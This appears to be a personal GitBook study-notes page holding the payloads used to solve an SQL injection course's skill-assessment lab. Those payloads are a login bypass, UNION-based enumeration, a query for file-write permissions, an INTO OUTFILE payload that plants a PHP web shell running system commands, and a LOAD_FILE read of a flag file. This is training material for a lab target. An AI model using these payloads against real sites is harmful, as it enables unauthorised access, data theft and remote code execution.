MaruNote
  • Study Notes
    • Nmap + Nessus Cheat Sheet
    • SQL Injection Fundamentals
      • SQL Argument
      • Introduction
      • Subverting Query Logic
      • Using Comments
      • Union Clause
      • Union Injection
      • Database Enumeration
      • Reading Files
      • Writing Files
      • Mitigation
      • Skill Assessment
    • Stack-Based Buffer Overflows on Linux x86
      • Introduction
    • Stack-Based Buffer Overflows on Windows x86
      • Introduction
  • Tech Notes
    • Linux Cookbook
      • [Ubuntu] Limiting Lenovo Laptop Battery Charging to 80% in Ubuntu
      • [Debian] Firefox User Exprience
    • Windows Cookbook
    • MacOS Cookbook
    • NGFW
    • Rclone
    • Jellyfin
    • Docker
    • Wireguard
    • Powerlevel10k
  • Troubleshooting
    • [Python] error: Microsoft Visual C++ 14.0 or greater is required.
  • Code Draft
    • Python Network Reconnaissance
    • Java File Management
    • Synology Schedule Task
Powered by GitBook
On this page
  1. Study Notes
  2. SQL Injection Fundamentals

Skill Assessment

admin' OR '1'='1'-- 
abc' union select 1,2,3,4,5-- 
cn'
UNION
SELECT 1,variable_name,variable_value,4,5
FROM information_schema.global_variables
WHERE variable_name="secure_file_priv"-- 

Since URL is http://{ip}/dashboard/dashboard.php

cn'
union
select "",'<?php system("find / -name *flag*"); ?>',"","",""
into outfile '/var/www/html/dashboard/ls.php'-- 
cn' UNION SELECT 1,LOAD_FILE("/flag_cae1dadcd174.txt"),3,4,5-- 
PreviousMitigationNextStack-Based Buffer Overflows on Linux x86

Last updated 1 year ago